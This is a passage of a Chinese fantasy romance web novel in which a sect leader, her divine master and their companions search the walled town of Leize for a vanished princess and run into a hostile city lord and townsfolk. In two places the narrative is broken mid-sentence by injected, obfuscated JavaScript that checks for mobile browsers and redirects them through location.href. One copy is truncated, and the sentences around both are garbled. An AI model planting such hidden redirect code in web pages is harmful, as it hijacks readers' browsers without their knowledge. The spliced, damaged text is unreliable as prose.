她烦躁地叮嘱侍女:“拿二两银子赏给四皇子,就说他编出那番说辞辛苦了。” 侍女不明所以,不敢吱声。 一炷香前,若柒柒在叶游苑吹风养神,琢磨着自己应该如何溜出宫。 “皇姊。”一道声音唤她。 瞥见来人,若柒柒立马警觉起来,转身要走。 常平却没眼色地挡在她身前,问:“皇姊为何怀疑丽妃一事是我所为?” 若柒柒嗤笑出声,冷冷道:“因为我请封皇太女一事。” 夜风里,常平的身影显得格外清瘦。 他依旧儒雅地握着书卷,语气却失了以往的谦和:“皇姊怀疑我容不下你?” “难道不是?” “皇姊可记得父皇几年前对我的评价?”常平仰头望天,轻声问。 问这个问题,简直自取其辱。 “当然记得。”若柒柒无需回忆,利落地答道:“吃喝玩乐,难成大器。” 常平笑了一声,又问:“那皇姊可知我为何后来又发愤图强?” “皇姊不想知道。”若柒柒道,转身离开。 月光在地上借枯枝影开出花树,步步葱茏。 常平追在后面,诚恳地解释:“因为我看见皇姊请封皇太女,那时,她周身都散发着一种天不怕地不怕的坚定,比美色沉鱼落雁还撼动人心——” 若柒柒越听越觉恐怖,彻底跑出了常平的视线。 四皇子夸人,结果把人夸吓跑了。 他站在原地,忍不住笑自己的过分。 而若柒柒心中赫然巨浪滔天,久久不能平复自己惊骇的心情。 被人夸的这种经历,她很稀缺。 从前在皇宫,她是文武双全,雷厉风行的二殿下。 后来在华云山,她是索心锤不离手的掌门。 别人和她说话都鼓足了十二分的勇气,更别提什么夸赞之词了。 细数夸过她的人,除了父皇母后,也只有姜盈初。 因为稀缺,若柒柒也不习惯被人夸。 往往姜盈初没说两句,她就先闹个大红脸,然后羞愤交加地提着玉锤轰走姜盈初。 况且刚刚这么夸她的人,是她一直视为死对头的四皇子! 若柒柒说不上自己是什么心情,只想跑。 常平在原地无措地站了会儿,也往回走。 碰上一队巡查的巡更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16089215|179643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 使,常平示意他们免礼。 巡更使继续往前走了。 而一簇凡人看不见的浓黑烟雾悄悄窜了出来,眨眼间,化为常平的模样。 在上面看时,就是两个一模一样的常平背道而驰的怪诞场景。 那队巡更使就看见刚刚离开的四皇子又追了上来,渐渐超过他们,向别处的宫里走去。 * “臣清清楚楚地瞧见了,往二殿下宫里走的,确实是四殿下。” 隔天,被传来的巡更使诚恳地说。 一队巡更使,分别传唤,个个言辞都一致。 姜盈初皱起了眉,常平也一脸不解。 二殿下昨夜不翼而飞,问遍宫里人,只有这队巡更使说看见了四殿下往二殿下宫里走。 可常平身边的侍从和宫里的下人都能证明,昨夜四皇子只在叶游园与二殿下闲聊几句,并未追去宫里。 若柒柒好似人间蒸发了一般。 赶来找她商量除魔一事的姜盈初赶到焦头烂额。 她四下张望踱步,忽然停在了若柒柒的书案前。 案上有卷摊开的书卷。 “雷泽”二字映入姜盈初的眼帘。 * 姜盈初都没来得及赶去沐阳山,借着除魔之人的名号,差事钦天监去沐阳山,将尸体暂且都安置在冰棺里。 而她自己和其他三人一猫,当即就赶往了雷泽。 姜盈初听说过雷泽,从前在她眼里,那是一处桃花源般的地方。 她见过雷泽的一幅画:群山环绕着一座小城,满城茉莉夹在新绿春雨间。 因为城中一步一棵茉莉,景色实在独特。 又因为那幅画是声名远扬的大师所作。 雷泽这个地方也被人知晓。 雷泽在东洲最南边,距京都自然远。 好在姜盈初和临野都会御剑,饶是如此,一天的行程也不够他们飞到雷泽,只能找一家客栈落脚。 “劳烦给一碗白水。”姜盈初不忘对着小二道,“我师父得喝药,茶水犯冲。” 小二领了赏银,自是点头哈腰。 姜盈初担心若柒柒,夜不能寐。 她倚在窗边,满眼忧虑。 被言遮派来安慰人的旺财就时而蹭蹭她的手,时而用小猫脑袋拱着她的手心。 隔壁的房间里,言遮也没有睡着。 他可不是因为担心若柒柒的死活才不能入睡。 而是雷泽这个地方,能勾起言遮的一些回忆。 他手指点了茶水,在桌上写出一个“梅”字。 那是很多年前了。 时光漫漫,具体多少年,言遮已经难以记清。 只依稀能想起来,他当时应该和如今的姜盈初一般年纪。 彼时东洲不叫东洲,仙家也不五花八门,天下只有一个门派,名扬四海。 清早温柔的阳光从一棵龙梅的缝隙里倾泻而下。 意气风发的少年在树下练剑,举手投足间都划出一阵迅疾的气流。 大有剑指长虹之势。 可仔细瞧,又能窥见一种别样的温柔。 他动作虽雷厉风行,可每每划过龙梅那侧时,总会收了力,温柔拂过。 “师弟!”不远处,一个身影喊道。 言遮顿住,收剑回头,看见了朝自己走来的大师兄。 “师兄。”他恭恭敬敬地作揖,问:“师兄有何事?” 被唤作师兄的那人道:“师父要你去买些花种回来,要葵花籽,马上就要。” 言遮闻言,没有一丝怀疑,立马御剑朝山门外飞去。 等他拎着一袋葵花籽回来的时候,却不由分说就被师尊关进了后山的洞里。 “宗门小测,你师兄特意来告诉你,你倒往山下逃了。” 云水真君平日最宠这个小弟子,眼下气得胡子飞舞,负手离去。 都没给言遮解释的机会。 从那天起,言遮找到了一个词来形容自己的大师兄。 蛇蝎心肠。 * 次日清早,姜盈初刚敲响师父的房间门时,门就被打开了。 姜盈初一愣,脱口而出:“你也没睡?” 言遮闻言皱起了眉:“当然睡了——什么叫‘也’?你没睡么?” 姜盈初无法辩解,转身就跑。 等她早膳时吃下师父额外递过来的小糖包时,师父的脸色才略有好转。 “唉,你把药丸子也得吃了!”见言遮起身要往出走,姜盈初连忙拽住他的衣角。 三水托腮看了全程,好比看了一出戏。 他用袖子擦擦嘴,评价道:“你俩是轮流来当师父吗?我管你一下,你管我一下的。” 没等姜盈初回答,言遮就冷嗖嗖地怼了回去:“谁管谁都用不着你管。” 三水:“……” 姜盈初很想捂住自己师父的那张毒嘴。 “你学学人家临……”言遮因为想不起名字而一顿,最后索性抬手指了指一旁的临野。 “你学学人家,安安静静的,多好。” 受到踩一捧一的夸赞,临野脸上却依旧没有任何表情。 姜盈初幻视着桌边一队人,突然感到轻松了一瞬间。 虽然事态紧急,可他们这个除魔小队的人,倒也有趣。 言遮和三水一路拌嘴仗,吵到雷泽都没有休战。 临野不动声色,一声不吭,却很可靠,替姜盈初分担了载旺财和三水的重任。 至于姜盈初的剑上为什么载着言遮呢? 那必然是言遮靠着三寸不烂之舌为自己争取来的。 毕竟三水在这一群人里面,也最亲近姜盈初。 这种鸡飞狗跳的平静维持到了进雷泽的岔路口,而后四分五裂。 看着面前古树环绕的两条岔路,姜盈初左右找了一圈,没发现一点儿线索。 雷泽鲜少有外人进入,里面的人也久居不出。 他们找不到一个能够问路的人,也不能御剑飞过去——因为姜盈初诧异地发现,这个地方居然有结界。 不知道是谁何人何时布下,但她难以用法力闯进去。 姜盈初只好从包袱里翻出两个传声海螺,把其中一个递给临野。 “兵分两路吧,谁走对了,就给另一个人说。” 临野接过海螺,还是波澜不惊地点头。 好像就没有什么事情能让他露出一丝额外的表情。 言遮听到兵分两路,自然而然地站在了小徒弟身后,并且不断用眼神警告着蠢蠢欲动的三水。 “师父。”姜盈初纠结许久,还是轻声唤道。 言遮很神气地抬起头,顺便对着三水挑衅一笑。 “还是我们一队吗,好。走吧。”他伸手要去接姜盈初手里的包袱。 姜盈初却躲了过去,神情尴尬,摇头道:“你跟着临野吧。” 言遮的得意四崩五裂,而后转移到了三水脸上。 结果下一瞬,一盆凉水也给三水浇下。 “你也跟着临野。”姜盈初说。 三水和临野都是一脸迷惑。 只有言遮思忖片刻,突然上前。 “别听他们的话。”言遮的声音轻柔,透着一股姜盈初不常见的坚定。 三水仰着脸问:“啥啥啥?他们是谁?什么话?” 姜盈初抿唇不答。 他们是很多人,那些所有给她扣上“灾星”之称的人。 若柒柒很有可能被抓进了雷泽,姜盈初不确定这里面会有什么危险。 但她很怕出事的又会是自己身边的人。 “你要是实在担心,我和三水跟着临野走就是。”言遮道,“旺财你带着。” 姜盈初还要推辞。 “临野一个人也护不了我们这么多人。”言遮解释,“何况你的水平在他之上。” 他心里默默补充了一句:而且旺财这蠢货是个麒麟,如若真有什么,它也能护着你。 有理有据,姜盈初思忖一番,抱着旺财点头。 一队人分裂完成,各自上路。 雷泽地处南方,没有什么春夏秋冬之分。 满山古树,尽是茉莉,还齐刷刷地开着花,香气逼人。 姜盈初抱着旺财,小心翼翼地走了好一会儿。 遮天的茉莉挡着阳光,倒也不是很热。 传声海螺里时不时传来言遮的询问,姜盈初每次都仔细答了,转头在心里腹诽:这海螺定是言遮从临野手里夺过来的。 再往前两三里路,四周依旧十分幽静。 姜盈初边走边左右张望,浮生剑随时准备亮出。 不过姜盈初能听见的声音只有自己的脚步声,她有点好笑自己的疑神疑鬼,却在勾唇笑的瞬间,突然停下脚步。 海螺已经有段时间没传来声音了! 姜盈初朝里面喊,没有传来任何回答。 上上下下左左右右猛晃几下,也依然没有一丁点儿声音。 “西海的法器,在我的地盘上怎么能起作用呢?”前方,一道声音从远处走来,未看清其人,倒是先闻其声。 姜盈初一手抱着旺财,一手执剑。 她的剑却是平举起来的,一端挑着官文书。 来人渐渐靠近,清晰地出现在姜盈初的视野里。 一身板正的墨色长袍,头发高高竖起,顶着一个帽檐堪比屋檐的草帽。 姜盈初警惕地握着剑。 来人倒没有要动手的意思,瞥见官文书,取下细看。 “在下梅寻宁,雷泽城主。”他把文书重新给姜盈初挂在剑上,拱手作揖,“皇上钦点除魔之人来此,我有失远迎,见谅。” 姜盈初松了口气,摇头道:“无妨。” 她看了看手中的海螺,又看了看梅寻宁。 梅寻宁会意,衣袖轻拂,海螺里变立即传来了三水颠簸的嚎啕声。 伴随着杂乱的脚步声,听起来像在撒丫子狂奔。 “你们遇到什么了吗?”姜盈初瞬间紧张,大声问。 那头传来同样大声的一句“闭嘴!” 三水还在扯着嗓子哭,下一瞬哭声又戛然而止,不难听出是遭到了捂嘴的待遇。 “师父?”姜盈初再次唤道。 海螺那头,言遮松了一口气,修长手指从三水嘴上拿开,满脸嫌弃。 “没事。”言遮简单道,“你呢?这个海螺突然不出声了。” 姜盈初:“我的也是。你们往回走吧,这条路是对的。” “我们已经在往回走。海螺是怎么回事儿?”言遮问。 三水跑得气喘吁吁,没忍住哽咽地控诉:“海螺刚没了声儿,他就逼我们往回跑了!” 言遮凉凉地扫他一眼。 三水便第一次发现,原来这个跟自己拌嘴的人是如此恐怖! 他被吓得不敢吭声了。 海螺的声音很大。 三水控诉的声音飘扬出来,一旁的梅寻宁也能听到,让姜盈初生出一种家丑被外扬的感觉。 她尴尬地咳了两声,说:“没什么事儿,你们来这边就知道了。” 话毕,她开始等待。 梅寻宁很是体贴地询问:“要不我们也往回走一走?” 姜盈初点头。 她和梅寻宁边走边聊,讶异地发现这个雷泽城主竟活得十分闭塞。 不知道京都仙门这些日子的腥风血雨,也不知道宫里怪诞的离奇事儿,甚至连自己这个仙门宗主都不知道。 姜盈初忍不住问他:“长年累月待在城中,真的不会闲得无聊吗?” 梅寻宁笑了:“几十年而已,何来无聊之说?” 毕竟他曾经有过三百年不下山的光荣历史。 而今二十年不出城,简直不值一提。 * 从前三百年不下山的日子,离梅寻宁很遥远,很遥远。 遥远到他都记不清。 不过有个日子,他却一直牢牢刻在心里。 彼时东洲叫“景和”。 景和二十四年,云水真君横空出世,把“仙人”这个词带到了人间。 大家才发现,原来人是可以像鸟儿一样上天的,原来云是可以被人踩在脚下的,原来风火雨雪是可以被人掌控的! 想拜在云水真君门下的人无数,云水真君也拒绝了无数。 梅寻宁在当时是万众敬仰的存在。 因为他不但是景和的三皇子,还是云水真君门下大弟子。 后者的名号在当时要比前者威风许多。 人人赞他天赋异禀,年纪轻轻便修到真人,飞升指日可待。 梅寻宁也很期待。 一夜暴雨,众人瞥见数到惊雷劈在云水山。 他们惊呼:“这肯定是云水真座下大弟子飞升了!” 人群涌上山去恭贺,人数之多,蜿蜒十里,街道上车马难行。 可众人寸到山上,却纷纷惊掉了下巴。 飞升的不是梅寻宁。 而是云水真君前七日才收的小弟子——言遮! 七日飞升上神。 从此人人提及言遮,都唤他一句“奇才”。 而提及梅寻宁,却依然还是“云水真君座下的大弟子”。 梅寻宁想不通,自己日日勤恳练习,十年如一日。 言遮才拜入师门七天,还总是逮着空就偷懒。 怎么言遮就成了那个飞升的人? 怎么言遮就成了众人口中的奇才? 怎么师尊还格外宠爱言遮? 梅寻宁实在不懂。 他这人很倔,很犟,很牛。对于不懂的问题,刨根问底,掘地三尺也要找到答案。 功夫不负有心人。 梅寻宁在后山发现满手沾血的言遮,发现了真相。 倒在一边的尸体是言遮的一个师姐。 云水真君座下,梅寻宁义愤填膺地控诉言遮:“他为了增长修为,吃了同门的内丹!” 证据确凿,他要看言遮如何抵赖! 真给他抵赖过去了。 师尊护着他,同门都向着他讲话,梅寻宁才惊觉自己大师兄的名号不过一个笑话。 这山都能随着言遮姓了! 梅寻宁算什么?算蝼蚁一个。 小师弟手上的血迹未干,却被众人护在身后。 从那天起,梅寻宁找到了一个词来形容自己的小师弟。 蛇蝎心肠。 * 姜盈初远远听见脚步声,最先映入她眼帘的是三水飞扑而来的身影。 小孩儿大抵受了惊。 姜盈初张开双臂,想要安慰他,却发现他在扑进自己怀里前的最后一秒停下了脚步。 一只罪恶的手不由分说揪住了三水的衣领。 三水生无可恋地投降:“我不抱她了,你能放开我吗?” “当然。”言遮从善如流地松手。 梅寻宁微不可察地挑了下眉,视线和言遮相对,不动声色地开始对峙。 姜盈初毫无察觉地挡在他俩中间,介绍道: “雷泽城主梅寻宁。”想到刚刚这位城主主动提议和自己往回走,姜盈初补充了一句,“挺善良的。” “我师父言遮,人也挺善良的。” 互相评价为蛇蝎心肠的两人:…… 9. 晋江文学城 09[琼枝巷] 雷泽城主梅寻宁,位列十三仙君之一,法号参商。 仙人下凡,并非随心所欲。 参商君梅寻宁下凡的缘由,也是辅佐帝君除掉魔头。 所以即便他和言遮之间恩怨难了,在姜盈初面前,也得配合言遮,装作互相不认识。 姜盈初四人被安置在了城郊一座小院中。 院中青苔淹石,院外一条蜿蜒石阶,流过城外攀附在古树上的茉莉,隐在山色昏昏中。 幽静,满院暗香,是姜盈初会喜欢的地方。 但她现在压根没有心思考虑住处如何。 见院子太过偏僻,她提醒梅寻宁,说:“梅城主,你可知道我们来雷泽所谓何事?” “文书上不是写清楚了么?”梅寻宁摸出串叮铃作响的钥匙,取下一片递给临野,“宗主奉旨除魔。” 他把钥匙往衣衫里往回塞的动作一顿,眼睛也猛然瞪大。 “魔在雷泽?雷泽有魔?”梅寻宁大惊,拔高声音问。 姜盈初摇了摇头,梅寻宁肉眼可见地松了口气。 “我来这里,当务之急是要找一个人。”姜盈初说,“大抵这两日,宗主可知这城中还有人来?是个姑娘,年纪——” “雷泽虽然四面环山,人烟稀少,可也不是整天都无人进出的死城。”梅寻宁打断她,“我这个城主虽然清闲,却也不是成日守着门,看有哪些人进出过。” “是,城主只是今日碰巧格外清闲,今日碰巧来了兴致守城门,今日碰巧又遇到我们。”言遮幽幽地加入谈话,阴阳怪气道。 他正大马金刀坐在院中石凳上,抵着石桌,指间还夹着刚从棋盒里顺出的一颗棋子。 散漫的样子让梅寻宁倍感挑衅,也让姜盈初蹙起了眉心。 她三两步上前,抱臂在言遮面前站定,沉声道:“起来。” 在后面看戏的梅寻宁愣怔,没想到姜盈初会这么给言遮说话。 给言遮用这种态度说话——这不等于自寻死路吗? 从前在云水山的时候,言遮是只漫山遍野乱窜的野猴子。 除了师尊板起脸能唬住他,别人给他摆脸色,都会被他视作比试的信号。 后来在天界,言遮成了常年面瘫的帝君,自然没人给他一点脸色瞧瞧。 诧异在梅寻宁心中久久不散,他还没缓过来,更让他诧异的事情发生了。 只见言遮听话乖巧地站了起来,面对小徒弟冷脸的时候还露出了几分——心虚的神色? 这还是言遮么?这还是帝君么? 姜盈初在石凳上铺了狐裘,对师父依然板着脸,“我提醒过你两次,石凳寒凉。” “不会有下一次了。”言遮低眉顺眼地答,俯身眼巴巴地去看小徒弟的表情。 梅寻宁瞠目结舌,感叹某人的情报真准的同时,心头还一阵恍惚。 他想起来了,从前在云水山时,言遮虽厌恶别人摆脸色,可独独对一个人例外。 那个人生气蹙眉,面如冰霜,甚至拳脚相加,言遮嘴角都永远噙着死乞白赖的笑。 “梅城主?”姜盈初伸出手来,在出神的梅寻宁面前晃了两下。 “啊?” “我说,能否劳烦城主帮我们找找,城中可有我们要找的那个姑娘?” 梅寻宁不假思索地点头:“当然,雷泽城小,找人何其容易?我下一道搜城令便是。” 没想到会这么容易的姜盈初大喜。 但随即,梅寻宁话锋一转,又道:“不过这搜城令,可不是能轻易就下的。” 他故意靠近了姜盈初几步。 坐在石凳上的身影立马闪了过来,姜盈初只觉有双手环上她的腰,把她往后带了几步。 知道这是谁的手,姜盈初没有亮剑往后砍。 梅寻宁勾起了唇,又在刹那间压了下去,拧眉故作愁苦道:“宗主不知,在雷泽,我一个城主实在没有什么权利。” “若是要下一道搜城令,需得城中人人知晓:这令为谁所下?要搜何物?” 姜盈初摆手:“那你直接告诉他们便是啊。” 谁知梅寻宁又摇起了头:“清楚只是第一,第二呢,还得城中人人都同意了,这搜城令才能落实起来。” “简单。”姜盈初说,“我奉旨除魔,大家怎会不同意?” “哈哈哈哈——”梅寻宁神秘兮兮地笑了,他伸出食指左右晃了晃,“宗主自己去城中逛逛便是,也会知道我为何将你们安置在城郊的院中。” 不等姜盈初追问,他就借口“突然想起来有点事”匆匆溜走,幻移离开,无影无踪。 三水蹲在地上用枯枝画圈,仰面吐槽说:“这还用猜吗?肯定是他不愿意给我们付城中客栈的房钱,才把我们这些穷人丢到这偏僻院子里的!” “谁说我们是穷人?”姜盈初好笑地问。 “他。”三水指向言遮,“前两天我让他给我买串糖葫芦,他说我们穷得叮当响。” 姜盈初:…… 那是他不想给你买。 “下次想吃就找我。”她摸摸三水的头,“他穷,我不穷。” * 次日,姜盈初牵着三水的手,在糖葫芦摊前收回了这句话。 她不可置信地又问摊主一遍:“这糖葫芦一串多少?我是说一串。” “一串一百两银子,喂,我都说了两遍了。”摊主斜眼看人,手中蒲扇不耐烦地摇着,“你买不买,不买走开啦!” 看着草靶子上空落落的地方,姜盈初指着问:“这些糖葫芦是卖出去的?” “不然还能是我送出去的嘛?”老板没好气道。 姜盈初和三水面面相觑。 一串糖葫芦便要卖一百两银子,这是什么飞涨的物价? “你穷不穷?”三水干巴巴地问。 姜盈初咳了一声,也干巴巴地回答:“穷,特别穷。” 当他们灰溜溜地要离开时,忽然有个年岁和三水差不多的小孩儿喜滋滋地小跑过来。 一时间,姜盈初和三水都忍不住看向她。 能买的起百两一串的糖葫芦,这小孩儿得多有钱? 却见摊主眉开眼笑地从草靶子上取下一串,递给小孩儿,温声道:“五文钱。” “为什么???”三水当即大吼出声。 摊主收了五文钱,闭目养神,对三水的质问恍若未闻。 “你欺负我俩不是这个城里的人咯?”三水跺了两下脚,手插在腰间问。 摊主不答,故作睡态,打起了绵长的鼾。 姜盈初拍拍三水的肩:“算了,城中又不是只有这里卖糖葫芦。” 一大一小两个身影愤愤地离开。 “这糖葫芦怎么卖?” “五百两银子一串啦。” “这糕点怎么卖?” “不贵,一块八百八十八两银子。” “这茶水——也是千两银子一壶吗?” “嗬哟!客官,你猜的不准,哪有这么贵?一壶只需九百九十九两银子哦。” …… 一上午过去,姜盈初和三水发现一个可怕的事实。 城郊小院里,言遮的脸色也不是很好看。 临野则是满脸诧异,一头雾水,还没品过来究竟是怎么回事。 他声音艰涩地问:“这里的东西怎么都这么贵?” “不是贵。”姜盈初摇头说,“是我们受到了针对。” 烈阳高挂,嘲笑人一般地拼命晒,让院中几人都感到十分刺眼。 “笃笃笃——” 院门被人敲响,不请自来的梅寻宁再次出现。 他像和大家熟络一般,径直上前,笑问:“宗主可知道我将你们安置在此处的用心良苦了?” 姜盈初扯出苦笑:“有朋自远方来,你们这座小城里的人怎么都是满脸不悦呢?” 不但满脸不悦,还一致排外,十分团结地针对他们。 “习俗。”梅寻宁无奈地摊了摊手,“这道搜城令有多难下,你想必知道了。” 姜盈初绝望地点头,尝试着问:“那我用术法在此搜寻可好?” “他们既不欢迎你,你要是用术法强闯民宅,下场凄惨呐。”梅寻宁给自己倒了口茶,一饮而尽,砸吧着嘴说。 三水小孩儿脾性,别人怎么对他,他便要送给别人同样的态度。 听到这座小城都不欢迎自己时,他钻进房间扯了包袱就要跑。 临野眼疾手快又揪住他的后衣领。 “放开!你放开我!我要走!”三水咬牙切齿地朝天吼道,“人家不欢迎我们,我们还待在这里干嘛?” 话音刚落,他的眼前多出一道黑影。 梅寻宁缓缓蹲在小孩儿面前,循循善诱一般,温言细语:“雷泽虽不欢迎生人,但想让别人欢迎你,也简单。” 想到今天齐刷刷抬高物价的一众人,姜盈初重复道:“简单?” 她不相信。 梅寻宁笑了:“雷泽没有什么别具一格的东西,但有个风俗却是一等一的好——团结。你若是让一个人接纳你了,那一传十,十传百,短短半日,人人都对你笑脸相迎。” 姜盈初:“你接纳我,不算么?” 梅寻宁没料到她会这么快接上话,出神片刻,他摇头:“那自然不算。琼枝巷里有个好脾气的李阿婆,她算。” “碰巧李阿婆这两日有烦心事,若是你们施以援手,想来她定会接纳你们。” “多谢。”姜盈初道。 梅寻宁又借口“突然有点急事”走了,姜盈初看他顶着大草帽走出院门的身影,忽感困意袭来。 她没有午间小憩的习惯,很想现在就立马动身去琼枝巷。 可上下直打架的眼皮让她躺在了床上。 “不舒服?”言遮察觉到不对劲,趴在床边问。 姜盈初翻了个身,懒洋洋地解释:“没有,八成是天热的缘故。” 言遮“噢”了一声,没有再说话。 他捏了把扇子,一下一下地小徒弟扇着风。 身旁草木的清香和梅寻宁离开的身影渐渐混在一起,一片杂乱。 姜盈初也迷迷糊糊地梦到了一些事情。 * 她感到自己的身子动弹不了。 睁开眼,近处是涟漪阵阵的水池,片片花瓣漂浮。 远处是山门道道,两旁青树棵棵,看旁边练剑画符的人群,这里应该也是哪个门派。 但论气派,这里更像皇宫。 起码姜盈初没见过规模如此大的门派。 重叠的山门望不到头,眼前人来人往,人人身穿青白相间的衣袍,谈笑声也不止息。 “唉,掌门今日要收个亲传弟子,听说了吗?” “早就听说了!不知道这人是什么来头,居然能直接拜在掌门座下。” “这个我知道,是江城一位富商之子!” 人群发出一片恍然大悟的声音。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105574|179643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >一个眼尾有痣的姑娘把大家的心声说了出来:“那想必定是凭借着……进的门咯?” 话音刚落,后方伸出一只手,捏着书本毫不留情地拍在了她头上。 “想什么呢?师尊是会接受那些俗物的人吗?”他板着脸问,“师尊收徒,定是徒弟有可取之处,你们不要胡乱揣测。” 一群人乖巧地点头。 他训完人,负手走了。 姜盈初看着他的背影,感到熟悉。 这个离去的背影和梅寻宁的背影渐渐重合,他的面容也和梅寻宁的样子重合…… 震惊二字挂在姜盈初头顶。 但下一瞬,一个更熟悉的身影出现在最近的山门处,让姜盈初彻底愕然。 熟悉,却又陌生。 来人身形清秀挺拔,墨发高高束起。 从进山门的那一刻,无数目光便悄然聚集到了他身上。 而他对四面八方窥探的视线视若罔闻,步若流星,径直向姜盈初走了过来。 姜盈初心头一震,想上前仔细瞧一瞧他的面容。 但她还是左右都动不了。 来人衣摆随动作飞舞,搅乱温柔天光。 在姜盈初的注视里,他单膝下跪,神情庄重道:“弟子言遮,拜见师尊。” 是言遮…… 真的是言遮。 姜盈初终于确定自己没有看错。 这里看起来像修仙的门派,梅寻宁在这里就算了,言遮怎会在? 什么掌门?什么师尊?什么亲传弟子? 对了——她又为何会在这里? 姜盈初猛地惊醒过来。 梦中人的脸庞此刻就在她的身侧。 言遮见徒弟一脸惊恐,支着脑袋问:“梦见什么了?” 姜盈初眨了两下眼睛,慢慢从梦的余韵中抽离。 雕花窗棂将阳光割裂成片片,光被拦腰斩断,也没了在屋外时刺眼的嚣张。 言遮就好似一座神台上落灰的旧像,隐在柔弱的光里,眉目不清不楚。 姜盈初和他对视上的瞬间,连忙慌乱移开了视线。 像凡人不敢以眼神亵渎神佛一样。 言遮挑眉。 “你为何不把头发束起?”姜盈初突然问,她问得小声,脱口而出。 言遮:“我为何要把头发束起?” 意识到自己说错话的姜盈初支支吾吾。 总不能说,我梦里的你玉冠束发吧? 电光石火,灵光乍现。 姜盈初突然想到了一个绝好的借口,一本正经道:“我看梅城主束发的样子挺板正的。” 言遮:…… * 琼枝巷,临野随手拦住一个路人,问:“叨扰,您可知李阿婆家在何处?” “梅城主要我们来寻她。”姜盈初在旁补充道。 那个路人本来听见“李阿婆”三字就要撒腿狂奔,却又被“梅城主”的名号定在了原地,而后双腿打颤地把他们带到了巷子深处的斑驳院门前。 三水看一眼他站不稳的腿,天真地问:“你有病?” 路人连气都没敢生。 姜盈初低声呵三水:“怎么说话呢?” “那他干嘛抖成筛子?”三水反问。 姜盈初转头去看带路的人,却发现他早已惊恐地窜远了,好像身后有饿狼追赶。 她心底划过一丝不解,却没有太纠结,径直抬手叩响了门环。 “难不成是害怕?可城主都说了,王阿婆脾气最好了呀。”三水嘟囔道。 身后,言遮若有所思地扫了他一眼。 很快有哒哒哒的脚步声由远及近,一道沙哑的声音贴着门问:“谁?” “阿婆,我们是从京都来的,奉旨除魔。”姜盈初开门见山道。 沙哑的声音“哦”了一声,片刻宁静过后,门吱呀呀地打开。 伴随着一种水花拍打石头的声音。 霎那间,姜盈初反应过来,连忙后退。 也在那一刻,言遮伸手去捞小徒弟,顺手把三水推搡去了前面。 临野和三水并排站着,没有表情。 门开后,迎面而来一桶水,临野和三水都被浇成了落汤鸡。 一切发生得太快,快到大家还没看清阿婆的庐山真面貌,门就又“砰”地一声合上。 “爱除哪门子魔就除哪门子魔,我家又没有魔,你们有多远滚多远!”李阿婆在门后低声骂道。 湿漉漉的临野冷静地擦去脸上水珠。 湿漉漉的三水火冒三丈,小小的身躯散发着巨大的愤怒,扑过去把门敲得砰砰响。 “你这人怎么这样?我们好心来帮你,你给我们泼水干嘛?你院子里藏了宝不让进,你让我们走就行——”三水喋喋不休地反骂回去。 门里没了声响。 得不到回应,三水气不打一处来,张大嘴巴,扯着嗓子咆哮。 也就在这时,“吱呀”一声,门又打开。 扑面而来的粉尘让临野和三水措手不及,特别是三水,被面粉糊了一嘴。 姜盈初和言遮因为还站在一旁的缘故,没有遭殃,只有衣袍上堪堪沾了点沫。 在李阿婆的门前“喝”了一桶水,“吃”了两大碗面。 为了防止李阿婆盛情难却,再扔出来点什么,姜盈初只好带着三个人灰扑扑地去找梅寻宁。 “怎会如此?”城主大人府邸中,梅寻宁听完他们的讲述,吃惊地问。 10. …… “许是因为烦心事的缘故?”姜盈初想到梅寻宁之前话里的消息,试探地问。 她想从梅寻宁口中套出更多的话。 却见有带刀侍卫匆匆小跑过来,脸上激动的神情和动作之急迫不相上下。 “城主,人找到了。”侍卫邀功地说。 见城中有要事的样子,大家默契地闭嘴,纷纷把目光投向此刻作为主角的梅寻宁。 梅寻宁闻言立即起身,站得笔挺,庄重地看向门外。 一根长棍最先迈进门槛,从沾泥的棍底缓缓往上,露出插满糖葫芦的草靶子。 让人记忆深刻的蒲扇也晃进门的时候,姜盈初终于抬眼看向来人的面庞,也确定了自己内心可怕的猜想—— 一串糖葫芦卖百两银子的摊主进门了。 许是没有料到几个外乡人会出现在城主大人的府邸中。 摊主看见姜盈初,好比见了鬼,转头立马向城主大人投去一个求助的眼神。 梅寻宁丝毫没有察觉,上前拉起摊主的手,兴奋道:“我还以为婚期将近,你不会再出来走街串巷。” 摊主一面警惕地瞟向姜盈初,一边讨好道:“城主牵挂,觉得我不会出来,还又特意派人来寻。” 梅寻宁压低声音笑道:“还不是我实在牵挂你的东西?” 两个人说话像在打暗语一样,只能看出事情似乎重要,却听不出究竟所谓何事。 姜盈初不喜欢被蒙在鼓里的感觉,上前问了一句“发生了什么事。” 在她说话的那一刻,梅寻宁抬手,撸起袖子,两眼放光。 众目睽睽之下,他脸上浮现出垂涎欲滴的神色,从草靶子上取下一串糖葫芦。 姜盈初话音刚落,梅寻宁便捏着糖葫芦转过身来,热情地问:“你们要不要来一串?” 临野摆手:“不用了。” 言遮抱臂:“不。” 三水上蹿下跳:“要要要!我要!” “我差人寻了他好半天呢。”梅寻宁把糖葫芦递给三水,“我平日里没有什么爱好,就是好吃甜的。” 姜盈初:…… 这就是你们为什么一副大事发生的样子? 她觉得自己对城主大人失去了信任。 失去信任的城主大人还浑然不觉,对着一串糖葫芦嗦得热泪盈眶,连声赞叹好吃。 “这位是雷泽出了名的糖葫芦手艺人,韩明志,这糖葫芦做的晶莹剔透,所选的山楂也颗颗饱满圆润……”梅寻宁不忘了给大家介绍。 可惜姜盈初对糖葫芦的制作过程没有兴趣,就在她要打断梅寻宁的喋喋不休时—— 